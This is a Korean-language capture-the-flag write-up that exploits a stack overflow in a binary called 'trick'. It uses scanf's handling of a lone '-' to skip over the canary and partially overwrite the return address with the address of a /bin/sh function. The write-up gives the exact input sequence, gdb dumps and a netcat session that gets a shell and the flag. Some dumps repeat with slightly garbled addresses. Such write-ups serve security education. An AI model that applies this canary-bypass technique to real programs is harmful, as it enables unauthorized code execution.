

TRICK

WRITE UP

PROTECT

```
whoami@choijunwon:~/trick$ file trick
trick: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dca0e4c3ba4c7151ed8fe616cf3371ac9ac06349, stripped
whoami@choijunwon:~/trick$
```

```
whoami@choijunwon:~/trick$ checksec trick
[*] '/home/whoami/trick/trick'
Arch:             amd64-64-little
RELRO:            Full RELRO
Stack:            Canary found
NX:               NX enabled
PIE:              PIE enabled
```

보호기법만 보면 참 막막한데요..

stripped & pull protect 인것을
확인하였습니다.

```
int sub_8AD()
{
    return execve("/bin/sh", 0LL, 0LL);
}
```

DIASSEMBLE

함수와 코드를 살펴보겠습니다

먼저 함수는 strip이 적용되어있어 symbol이 싹다 날라간것을 확인할수 있었습니다.

두번째는 코드 입니다.

중요한 포인트만 잡고 넘어가겠습니다.

일단 for문에 사용되는 index 값을 공격자 임의로 설정가능하고

두번째로 s라는 배열의 인덱스값으로 사용됩니다.

가장 중요한 포인트는 선언하는 부분인데요

먼저 s가 선언되있는것을 확인하면 _DWORD로 선언되있는걸 확인할수 있었습니다.

두번째로 scanf쪽을보면 format type이 %hd인것을 확인할수 있습니다.

```
f start
f sub_790
f sub_7D0
f sub_820
f sub_860
f sub_86A
f sub_8AD
f sub_8CA
f main
f init
f fini
f term proc
```

```
unsigned __int64 sub_8CA()
{
    int v1; // [rsp+8h] [rbp-58h] BYREF
    int i; // [rsp+Ch] [rbp-54h]
    _DWORD s[18]; // [rsp+10h] [rbp-50h] BYREF
    unsigned __int64 v4; // [rsp+58h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    v1 = 0;
    memset(s, 3, 64uLL);
    puts("hi?");
    __isoc99_scanf("%d", &v1);
    for ( i = 0; i < v1; ++i )
    {
        puts("gogo");
        __isoc99_scanf("%hd", &s[i]);
    }
    return __readfsqword(0x28u) ^ v4;
}
```

```
memset(s, 3, 64uLL);
```

```
hi?  
5  
gogo  
1111  
gogo  
1111  
gogo  
█
```

```
gdb-peda$ find 0x030303
```

```
[stack] : 0x7fffffffef206 --> 0x303030303030303  
[stack] : 0x7fffffffef209 --> 0x303030303030303  
[stack] : 0x7fffffffef20c --> 0x303030303030303  
[stack] : 0x7fffffffef20f --> 0x303030303030303  
[stack] : 0x7fffffffef212 --> 0x303030303030303  
[stack] : 0x7fffffffef215 --> 0x303030303030303  
[stack] : 0x7fffffffef218 --> 0x303030303030303  
[stack] : 0x7fffffffef21b --> 0x303030303030303  
[stack] : 0x7fffffffef21e --> 0x303030303030303  
[stack] : 0x7fffffffef221 --> 0x303030303030303  
[stack] : 0x7fffffffef224 --> 0x303030303030303  
[stack] : 0x7fffffffef227 --> 0x303030303030303  
[stack] : 0x7fffffffef22a --> 0x303030303030303  
[stack] : 0x7fffffffef22d --> 0x303030303030303  
[stack] : 0x7fffffffef230 --> 0x303030303030303  
[stack] : 0x7fffffffef233 --> 0x303030303030303  
[stack] : 0x7fffffffef236 --> 0x303030303030303
```

DEBUG

바로 분석으로 넘어와서 확인해보겠습니다..

심볼은 다 날려서 없다고 말씀드렸고 동적으로 하나하나 보겠습니다.

memset으로 64바이트만큼 0x03으로 덮어주어 공격자가 디버깅할때 확인이 편하게(?) 한건지는 잘 모르겠지만 덕분에 디버그 포인트를 잡기 쉬웠습니다.

입력값을 hi : 5 gogo : 1111 을 두번주어 확인해보았습니다.

실행후 디버그포인트를 0x030303으로 잡고

stack의 값이 0x030303으로 셋 되어있는것을 확인할수 있었습니다.

DEBUG

gogo에서 넣었던 값이 1111이었습니다.

그 1111이라는 값이 정수형 포맷타입으로 인하여 16진수로 바뀐 0x457로 들어간것을 확인할수 있었습니다.

그리고 조금 띄엄띄엄 값이 들어간것을 확인할수 있는데요
이건 선언한 바이트가 format byte와 달라서 그렇습니다.

일단 저희가 선언한 s라는 배열은 DWORD로 선언이 되어있는데 DWORD는 4byte입니다 덕분에 memory는 s라는 배열의 index1당 4byte를 할당해주었고
입력포맷은 %hd이기 때문에 2byte여서 2바이트만 입력받고 나머지는 넘어가게됩니다.

```
gdb-peda$ x/20gx 0x7fffffffffe206-6
0x7fffffffffe200: 0x0303045703030457      0x0303030303030303
0x7fffffffffe210: 0x0303030303030303      0x0303030303030303
0x7fffffffffe220: 0x0303030303030303      0x0303030303030303
0x7fffffffffe230: 0x0303030303030303      0x0303030303030303
0x7fffffffffe240: 0x0000000000000000      0xca15959566a48b00
0x7fffffffffe250: 0x00007fffffffffe270      0x00005555554009a2
0x7fffffffffe260: 0x00007fffffffffe388      0x0000000010000000
0x7fffffffffe270: 0x000000000000000001      0x00007fff7db6d90
0x7fffffffffe280: 0x000000000000000000      0x000055555540097f
0x7fffffffffe290: 0x000000001000000000      0x00007fffffffffe388
```

DEBUG

gogo에서 넣었던 값이 1111이었습니다.

그 1111이라는 값이 정수형 포맷타입으로 인하여 16진수로 바뀐 0x457로 들어간것을 확인할수 있었습니다.

그리고 조금 띄엄띄엄 값이 들어간것을 확인할수 있는데요
이건 선언한 바이트가 format byte와 달라서 그렇습니다.

일단 저희가 선언한 s라는 배열은 DWORD로 선언이 되어있는데 DWORD는 4byte입니다 덕분에 memory는 s라는 배열의 index1당 4byte를 할당해주었고
입력포맷은 %hd이기 때문에 2byte여서 2바이트만 입력받고 나머지는 넘어가게됩니다.

0x03이 64byte 만큼 셋 되어있는것을 확인했고 배열의 마지막은 null값인걸 알수있었고 이후에 canary값이 들어가있는것을 확인할수있습니다.

저희는 여기서 중요한 사실을 하나 알수있습니다.

canary는 64bit 기준 rbp-8 포인트에 위치해있는것을 알수있고
그려면 0x7ff.....e270이라는 값은 rbp인것을 알수있습니다.

rbp+8 포인트에는 당연히 ret 이있구요

```
gdb-peda$ x/20gx 0x7fffffffef206-6
0x7fffffffef200: 0x0303045703030457      0x0303030303030303
0x7fffffffef210: 0x0303030303030303      0x0303030303030303
0x7fffffffef220: 0x0303030303030303      0x0303030303030303
0x7fffffffef230: 0x0303030303030303      0x0303030303030303
0x7fffffffef240: 0x0000000000000000      0xca15959566a48b00
0x7fffffffef250: 0x00007fffffffef270      0x00005555554009a2
0x7fffffffef260: 0x00007fffffffef388      0x0000000010000000
0x7fffffffef270: 0x00000000000000001      0x00007fff7db6d90
0x7fffffffef280: 0x00000000000000000      0x000055555540097f
0x7fffffffef290: 0x00000000100000000      0x00007fffffffef388
```

```
gdb-peda$ x/20gx 0x7fffffffef206-6
mapped : 0x7ffff7d8a768 --> 0xca15959566a48b00
[stack]: 0x7ffffef0c8 --> 0xca15959566a48b00
[stack]: 0x7ffffef128 --> 0xca15959566a48b00
[stack]: 0x7ffffef248 --> 0xca15959566a48b00
[stack]: 0x7ffffef308 --> 0xca15959566a48b00
```

```
int sub_8AD()
{
    return execve("/bin/sh", 0LL, 0LL);
}
```

사용자 입력은 다음을 사용하여 수집되며 여기에 트릭이 있습니다. (점)을 입력으로 `scanf("%lf", &buffer[i])` 전달할 수 있으며, 그러면 참조된 변수의 데이터 덮어쓰기를 건너뛸 수 있습니다. `.`

```
Number[20]: .
Number[21]: .
Your sum: -92773155265697924505313227519998636757689855298695787655081074157174089977436344947792687303154543628009248831613884078618796617025
[Inferior 1 (process 29710) exited normally]
```

DEBUG

코드를 살펴보았을때 봤단 쉘을 exec해주는 함수도 있고

사용자가 배열의 index를 조절할수있기에 overflow도 가능합니다.

다만 canary값이 남아있다는게 문제였습니다.

동적으로 실행마다 변하는 canary의 값을 leak하기는 무리였고

문제의 이름은 trick이었습니다.

그러다가 우연히 하나의 블로그를 찾게되었습니다.

해당블로그의 내용은 다음과 같습니다.

scanf로 입력받을때 포맷타입이 float이면 `.` 을 이용하여 입력값을 건너뛸수 있다는 내용이었습니다..

여기서 힌트를 얻어 정수형에서 입력받는 모든 부호들을 넣어보았습니다. + -

그러다 찾은게 “-” 부호 였습니다.

확인해볼까요?

```
hi?  
5  
gogo  
_  
  
gogo  
1111  
gogo
```

DEBUG

입력값은 다음과 같습니다.

```
hi : 5  
gogo : -  
gogo : 1111  
^c
```

- 를 입력하였을때 정상적으로 패스하여 eof 없이 다음 입력값을 받는것을 확인할수 있었습니다.


```
hi?  
5  
gogo  
_  
  
gogo  
1111  
gogo
```

```
gdb-peda$ x/20gx 0x7fffffffef200  
0x7fffffffef200: 0x0303045703030303    0x0303030303030303  
0x7fffffffef210: 0x0303030303030303    0x0303030303030303  
0x7fffffffef220: 0x0303030303030303    0x0303030303030303  
0x7fffffffef230: 0x0303030303030303    0x0303030303030303  
0x7fffffffef240: 0x0000000000000000    0x73eca9130edf3700  
0x7fffffffef250: 0x00007fffffffef270    0x0000555554009a2  
0x7fffffffef260: 0x00007fffffffef388    0x0000000100000000  
0x7fffffffef270: 0x00000000000000001    0x00007ffff7db6d90  
0x7fffffffef280: 0x00000000000000000    0x00005555540097f  
0x7fffffffef290: 0x00000000100000000    0x00007fffffffef388
```

DEBUG

입력값은 다음과 같습니다.

```
hi : 5  
gogo : -  
gogo : 1111  
^c
```


- 를 입력하였을때 정상적으로 패스하여 eof 없이 다음 입력값을 받는것을 확인할수 있었습니다.

다음은 스택에 매핑되어있는 값인데요

확인해보면 다음과 같습니다.

- 를 입력했을때는 입력값을 패스하여 해당 index를 넘기고 다음 index에 값이 정상적으로 들어간것을 확인할수있었습니다.

해당 trick으로 canary를 bypass하고 ret값에 shell함수 주소를 넣어주면 exploit이 됩니다.



sub_8AD

```
0x000055555400000 0x000055555401000
0x000055555600000 0x000055555601000
0x000055555601000 0x000055555602000
```

DEBUG

마지막으로 구해야할것은 함수 주소입니다.

trip으로 심볼이 다날라가고 실행주소는 계속 바뀌기 때문입니다.

먼저 해당 함수의주소는 시작주소 + 8ad 입니다.

trick파일의 start point는 다음과 같고

값을 더해보면 0x555554008ad 입니다.

sub_8AD

```
0x0000555555400000 0x0000555555401000
0x0000555555600000 0x0000555555601000
0x0000555555601000 0x0000555555602000
```

```
gdb-peda$ x/i 0x5555554008ad
0x5555554008ad:      push    rbp
```

```
gdb-peda$ pd 0x5555554008ad
Dump of assembler code from 0x5555554008ad to 0x5555554008cd::  Dump of
assembler code from 0x5555554008ad to 0x5555554008cd:
0x00005555554008ad:  push    rbp
0x00005555554008ae:  mov     rbp, rsp
0x00005555554008b1:  mov     edx, 0x0
0x00005555554008b6:  mov     esi, 0x0
0x00005555554008bb:  lea     rdi, [rip+0x172]          # 0x555555400a34
0x00005555554008c2:  call    0x555555400720 <execve@plt>
0x00005555554008c7:  nop
0x00005555554008c8:  pop     rbp
0x00005555554008c9:  ret
0x00005555554008ca:  push    rbp
0x00005555554008cb:  mov     rbp, rsp
```

DEBUG

마지막으로 구해야할것은 함수 주소입니다.

trip으로 심볼이 다날라가고 실행주소는 계속 바뀌기 때문입니
다.

먼저 해당 함수의주소는 시작주소 + 8ad 입니다.

trick파일의 start point는 다음과 같고

값을 더해보면 0x5555554008ad 입니다.

확인해보면 다음과같이 sfp를 생성하는것을 알수있고

dis를 해보면 쉘을 호출하는것을 알수있습니다.

시나리오

시나리오는 따로 exploit 코드도 필요 없습니다..

일단 gogo 에서부터 사용자의 입력값 하나로 4byte만큼의 거리를 이동하는것을 확인했습니다.

그럼 “-” 를 이용하여 canary와 rbp를 넘어 ret의 2byte만큼 덮으면 shellcode가 됩니다.

ret까지의 거리는 88byte이고 이후 ret을 덮으면되는데 입력값은 4byte를 움직인다 하였으니 $88/4 = 22$ 입니다. “-”로 입력값을 22개만큼 주고 0x8ad를 int형으로 바꾼 2221을 입력하면 exploit이 됩니다.

```
0x7fffffff200: 0x0303030303031111  0x0303030303030303
0x7fffffff210: 0x0303030303030303  0x0303030303030303
0x7fffffff220: 0x0303030303030303  0x0303030303030303
0x7fffffff230: 0x0303030303030303  0x0303030303030303
0x7fffffff240: 0x0000000000000000  0xf952b86fd1b60100
0x7fffffff250: 0x00007fffffff270  0x0000555554009a2
0x7fffffff260: 0x00007fffffff388  0x0000000100000000
0x7fffffff270: 0x0000000000000001  0x00007ffff7db6d90
0x7fffffff280: 0x0000000000000000  0x00005555540097f
0x7fffffff290: 0x0000000100000000  0x00007fffffff388
```

EXPLOIT

hi : 23
gogo : - * 22
gogo : 2221

```
whoami@choijunwon:~/trick$ nc realsung.kr 10017  
hi?  
23  
gogo  
-  
gogo  
-  
gogo  
-  
gogo  
-  
gogo  
-
```

```
gogo  
2221  
id  
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)  
pwd  
/home/pwn  
ls  
flag  
run.sh  
trick  
cat flag  
flag{Tr1cky_of_printf}
```